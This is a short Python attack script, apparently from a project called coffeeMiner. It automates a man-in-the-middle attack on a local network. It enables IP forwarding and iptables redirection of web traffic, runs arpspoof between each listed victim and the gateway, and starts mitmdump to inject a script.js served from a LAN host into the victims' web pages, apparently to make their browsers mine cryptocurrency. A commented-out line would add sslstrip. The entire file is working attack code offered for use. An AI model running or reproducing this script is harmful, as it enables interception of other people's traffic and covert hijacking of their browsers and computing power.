coffeeMiner/coffeeMiner.py
coffeeMiner.pyRaw
1import os
2import sys
3
4#get gateway_ip (router)
5gateway = sys.argv[1]
6print("gateway: " + gateway)
7# get victims_ip
8victims = [line.rstrip('\n') for line in open("victims.txt")]
9print("victims:")
10print(victims)
11
12# configure routing (IPTABLES)
13os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
14os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE")
15os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
16os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")
17
18
19# run the arpspoof for each victim, each one in a new console
20for victim in victims:
21 os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
22 os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
23
24# start the http server for serving the script.js, in a new console
25os.system("xterm -hold -e 'python3 httpServer.py' &")
26
27# start the mitmproxy
28os.system("~/.local/bin/mitmdump -s 'injector.py http://192.168.1.32:8000/script.js' -T")
29
30
31'''
32# run sslstrip
33os.system("xterm -e sslstrip -l 8080 &")
34'''